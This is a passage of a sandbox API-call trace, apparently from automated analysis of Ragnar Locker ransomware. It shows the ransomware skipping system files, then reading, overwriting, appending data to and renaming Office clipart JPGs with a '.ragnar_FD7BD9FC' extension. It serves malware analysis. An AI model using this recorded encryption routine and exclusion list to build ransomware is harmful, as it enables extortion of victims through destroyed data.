lpString2="ntldr") returned -1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="ntuser.dat") returned -1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="ntuser.dat.log") returned -1 [0088.058] lstrcmpiW (lpString1="J0382957.JPG", lpString2="ntuser.ini") returned -1 [0088.058] lstrcmpiW (lpString1="J0382957.JPG", lpString2="thumbs.db") returned -1 [0088.058] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.058] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.058] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.058] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.058] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.058] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.058] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg")) returned 0x20 [0088.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.059] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=109037) returned 1 [0088.059] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.059] GetProcessHeap () returned 0x580000 [0088.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.059] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.061] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9ed, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.061] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.061] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.061] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a9ed, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a9ed, lpOverlapped=0x0) returned 1 [0088.064] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.065] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a9ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.065] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a9ed, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a9ed, lpOverlapped=0x0) returned 1 [0088.065] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a9ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.065] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a9ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.066] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.066] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.066] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.067] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.067] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.067] GetProcessHeap () returned 0x580000 [0088.067] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.067] CloseHandle (hObject=0xf4) returned 1 [0088.067] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" [0088.067] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.ragnar_FD7BD9FC" [0088.067] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.068] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1 [0088.068] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.068] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382958.JPG" | out: lpString1="J0382958.JPG") returned="J0382958.JPG" [0088.068] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG") returned=".JPG" [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="autorun.inf") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="boot.ini") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="bootfont.bin") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="bootsect.bak") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="bootmgr") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="bootmgr.efi") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="bootmgfw.efi") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="desktop.ini") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="iconcache.db") returned 1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="ntldr") returned -1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="ntuser.dat") returned -1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="ntuser.dat.log") returned -1 [0088.068] lstrcmpiW (lpString1="J0382958.JPG", lpString2="ntuser.ini") returned -1 [0088.069] lstrcmpiW (lpString1="J0382958.JPG", lpString2="thumbs.db") returned -1 [0088.069] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.069] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.069] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.069] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.069] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.069] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.069] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg")) returned 0x20 [0088.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.069] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=103399) returned 1 [0088.070] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x193de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.070] GetProcessHeap () returned 0x580000 [0088.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.070] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.071] VirtualAlloc (lpAddress=0x0, dwSize=0x193e7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.072] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x193e7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x193e7, lpOverlapped=0x0) returned 1 [0088.075] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.075] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x193e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.075] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x193e7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x193e7, lpOverlapped=0x0) returned 1 [0088.076] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x193e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.076] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x193e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.076] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.076] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.076] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.076] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.077] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.077] GetProcessHeap () returned 0x580000 [0088.077] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.077] CloseHandle (hObject=0xf4) returned 1 [0088.077] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" [0088.077] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.ragnar_FD7BD9FC" [0088.077] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.077] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1 [0088.077] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.077] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382959.JPG" | out: lpString1="J0382959.JPG") returned="J0382959.JPG" [0088.078] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG") returned=".JPG" [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="autorun.inf") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="boot.ini") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="bootfont.bin") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="bootsect.bak") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="bootmgr") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="bootmgr.efi") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="bootmgfw.efi") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="desktop.ini") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="iconcache.db") returned 1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="ntldr") returned -1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="ntuser.dat") returned -1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="ntuser.dat.log") returned -1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="ntuser.ini") returned -1 [0088.078] lstrcmpiW (lpString1="J0382959.JPG", lpString2="thumbs.db") returned -1 [0088.078] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.078] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.078] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.078] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.078] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.078] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.078] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg")) returned 0x20 [0088.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.079] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=85898) returned 1 [0088.079] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14f81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.079] GetProcessHeap () returned 0x580000 [0088.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.079] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.081] VirtualAlloc (lpAddress=0x0, dwSize=0x14f8a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.081] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.081] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.081] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14f8a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14f8a, lpOverlapped=0x0) returned 1 [0088.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.083] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14f8a, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.083] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14f8a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14f8a, lpOverlapped=0x0) returned 1 [0088.084] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14f8a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.084] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.084] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14f8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.084] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.084] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.084] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.085] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.085] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.085] GetProcessHeap () returned 0x580000 [0088.085] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.085] CloseHandle (hObject=0xf4) returned 1 [0088.085] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" [0088.085] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.ragnar_FD7BD9FC" [0088.085] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1 [0088.086] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.086] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382960.JPG" | out: lpString1="J0382960.JPG") returned="J0382960.JPG" [0088.086] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG") returned=".JPG" [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="autorun.inf") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="boot.ini") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="bootfont.bin") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="bootsect.bak") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="bootmgr") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="bootmgr.efi") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="bootmgfw.efi") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="desktop.ini") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="iconcache.db") returned 1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="ntldr") returned -1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="ntuser.dat") returned -1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="ntuser.dat.log") returned -1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="ntuser.ini") returned -1 [0088.086] lstrcmpiW (lpString1="J0382960.JPG", lpString2="thumbs.db") returned -1 [0088.086] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.086] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.086] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.086] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.086] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.086] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.086] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: 